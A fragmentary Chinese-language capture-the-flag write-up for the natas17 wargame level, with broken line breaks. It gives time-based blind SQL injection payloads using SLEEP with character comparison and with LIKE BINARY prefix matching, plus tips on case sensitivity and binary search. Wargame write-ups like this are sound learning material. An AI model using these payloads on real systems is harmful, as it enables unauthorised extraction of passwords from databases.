natas17
natas18" AND IF(ORD(MID(password, 1, 1))=ORD("A"), SLEEP(20), 0) #
,當 password
第 n 位為猜測的字元時就執行 SLEEP()
,根據 Response 的延遲時間推斷正確與否 (因此與 WHERE
條件是否成立無關),等待較長時間後成功獲得下題的登入密碼
MID(password, 1, 1)="A"
,會因為字串比較是 insensitive 導致獲得非預期解答
SLEEP()
不夠久可能會導致誤判,例如我原本是設定 20 秒發送一次請求,整個過程又臭又長;另外也可以嘗試二分搜的方法減少枚舉次數,例如判斷 >ORD("A")
是否成立
natas18" AND password LIKE BINARY "A%" AND SLEEP(10) #
運用短路運算的特性來決定是否 SLEEP()